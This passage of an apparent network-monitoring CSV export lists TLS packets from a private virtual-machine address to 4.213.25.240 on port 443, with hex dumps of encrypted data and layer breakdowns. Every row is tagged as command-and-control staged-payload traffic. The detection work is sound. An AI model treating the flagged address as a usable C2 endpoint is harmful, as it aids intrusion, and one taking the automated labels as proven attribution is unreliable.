Ack=1369756557,525400577f945254007bb792080045000120b7070000800628bbc0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68691c46951ff2a77e882fad25ca8376302fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5dd3b9bdb8c6f81bc323fdfc4dd87be896d,\"RT.W..RT.{....E.. ......(...z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....iQ.*w....\\.7c..7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....;...o..2?......m\",[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46855, \"\"flags\"\": \"\"\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 10427, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x91\\\\xc4iQ\\\\xff*w\\\\xe8\\\\x82\\\\xfa\\\\xd2\\\\\\\\\\\\xa87c\\\\x02\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd;\\\\x9b\\\\xdb\\\\x8co\\\\x81\\\\xbc2?\\\\xdf\\\\xc4\\\\xdd\\\\x87\\\\xbe\\\\x89m' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 16:26:17.241979,12,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb70840008006e94ec0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.....@....N..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46856, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59726, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 16:26:17.540151,13,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b70940008006e8b8c0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68691c46951ff2a77e882fad25ca8376302fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5dd3b9bdb8c6f81bc323fdfc4dd87be896d,\"RT.W..RT.{....E.. .\t@.......z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....iQ.*w....\\.7c..7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....;...o..2?......m\",[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46857, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59576, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x91\\\\xc4iQ\\\\xff*w\\\\xe8\\\\x82\\\\xfa\\\\xd2\\\\\\\\\\\\xa87c\\\\x02\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd;\\\\x9b\\\\xdb\\\\x8co\\\\x81\\\\xbc2?\\\\xdf\\\\xc4\\\\xdd\\\\x87\\\\xbe\\\\x89m' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 16:26:20.042037,14,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b70a40008006e8b7c0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68691c46951ff2a77e882fad25ca8376302fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5dd3b9bdb8c6f81bc323fdfc4dd87be896d,\"RT.W..RT.{....E.. .\n@.......z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....iQ.*w....\\.7c..7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....;...o..2?......m\",[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46858, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59575, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x91\\\\xc4iQ\\\\xff*w\\\\xe8\\\\x82\\\\xfa\\\\xd2\\\\\\\\\\\\xa87c\\\\x02\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd;\\\\x9b\\\\xdb\\\\x8co\\\\x81\\\\xbc2?\\\\xdf\\\\xc4\\\\xdd\\\\x87\\\\xbe\\\\x89m' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 16:26:22.045756,15,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb70b40008006e94bc0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.....@....K..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46859, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59723, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 16:26:24.843165,16,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b70c40008006e8b5c0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68691c46951ff2a77e882fad25ca8376302fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5dd3b9bdb8c6f81bc323fdfc4dd87be896d,\"RT.W..RT.{....E.. ..@.......z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....iQ.*w....\\.7c..7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....;...o..2?......m\",[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46860, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59573, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x91\\\\xc4iQ\\\\xff*w\\\\xe8\\\\x82\\\\xfa\\\\xd2\\\\\\\\\\\\xa87c\\\\x02\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd;\\\\x9b\\\\xdb\\\\x8co\\\\x81\\\\xbc2?\\\\xdf\\\\xc4\\\\xdd\\\\x87\\\\xbe\\\\x89m' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-26 16:26:31.653311,17,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,RA,,,Ether > IP > TCP,3,TCP RA Seq=3881783903 Ack=1692602478,525400577f945254007bb792080045000028b70d40008006e9acc0a87aa804d519f0c2eb01bbe75f525f64e3106e501400005a300000,\"RT.W..RT.{....E..(.\n@.......z.........._R_d..nP...Z0..\",[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 46861, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59820, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783903, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 23088, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 16:26:34.498954,18,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,RA,,,Ether > IP > TCP,3,TCP RA Seq=3334411405 Ack=1369756557,525400577f945254007bb792080045000028b70e40008006e9abc0a87aa804d519f0c2e401bbc6bf148d51a4d38d501400005a300000,RT.W..RT.{....E..(..@.......z.............Q...P...Z0..,[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": 